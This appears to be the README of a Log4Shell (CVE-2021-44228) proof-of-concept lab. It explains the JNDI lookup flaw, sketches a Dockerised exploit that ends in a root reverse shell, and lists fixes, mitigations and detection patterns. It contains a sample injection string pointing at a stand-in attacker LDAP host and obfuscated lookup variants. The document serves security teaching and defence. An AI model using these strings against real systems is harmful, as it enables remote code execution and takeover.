Log4Shell (CVE-2021-44228) PoC
Objective
Reproduce, exploit, and remediate a known critical CVE in a Dockerised environment.
This PoC demonstrates CVE-2021-44228 (Log4Shell) in a Spring Boot application.
1. Vulnerability Description
CVE: 2021-44228
CVSS: 10.0 (Critical)
Affected component: Apache Log4j (<= 2.14.1)
How the package works
- Log4j is a popular Java logging library.
- It supports lookups (
${...}) to dynamically resolve values inside log messages.
- One such lookup is JNDI, which can fetch values via LDAP.
How the vulnerability works
- Attacker poisons the victim application with a malicious JNDI lookup string like
${jndi:ldap://attacker.com:1389/a}.
- The victim application with vulnerable Log4j version evaulates the malicious string during logging.
- This triggers a JNDI request to the attacker-controlled LDAP server.
- The LDAP server responds with a malicious reference to external Java bytecode.
- The victim JVM loads the bytecode and executes it, leading to Remote Code Execution (RCE).
How the exploit works
- Victim app logs attacker-supplied input from an HTTP header.
- Attacker LDAP server responds with a reference to
Exploit.class.
- Victim fetches
Exploit.class via HTTP.
- Static initializer in
Exploit runs, spawning a reverse shell back to the attacker.
2. Risk
3. Proof of Concept
Prerequisites
- docker + docker-compose
- netcat
- make
Build and start
Exploit
- Start a netcat listener:
- Trigger exploit:
- Netcat receives a reverse shell from the victim:
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...
Preferred fix
- Upgrade to Log4j 2.17.1 or later.
- This is the only complete and long-term fix. Earlier versions patched partially but still left exposures:
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell
Interim mitigations (if upgrade not possible)
- Buy time
- Restrict inbound exploit strings (
${jndi: patterns) with a WAF or middleware.
- Restrict outbound LDAP from application servers with egress filtering.
- Disable lookups:
-Dlog4j2.formatMsgNoLookups=true
- Harden JVM:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
Operational mitigations
- Audit dependencies and runtime
- Generate an SBOM (
gradle dependencies, Snyk, Wiz, etc.).
- Search deployed images/servers for
log4j-core-*.jar, including fat JARs.
- Triage and prioritize mitigations for the riskiest workloads.
- Monitor & detect
- Watch for exploit attempts in logs (
${jndi:...}, ${${lower:j}ndi:...}, etc.).
- Monitor outbound LDAP traffic for callbacks.
- Treat findings as potential compromises, escalate for incident response (forensic investigation, removal of malicious artifacts, rotation of secrets, etc.).
- Vendor patches
- Track vendor advisories (e.g., Elasticsearch) - many ship bundled Log4j.
- Apply hotfixes or workarounds provided until official patches are available.
- Strategic Improvements
- Enforce "deny by default" policy for outbound traffic filtering.
- Enforce dependency scanning in CI/CD.
- Formalize response playbooks so teams know exactly what to do during the next "10.0 CVSS" vulnerability.
- Run resilience drills/tabletops to test readiness for a "new Log4Shell-class" incident.
5. References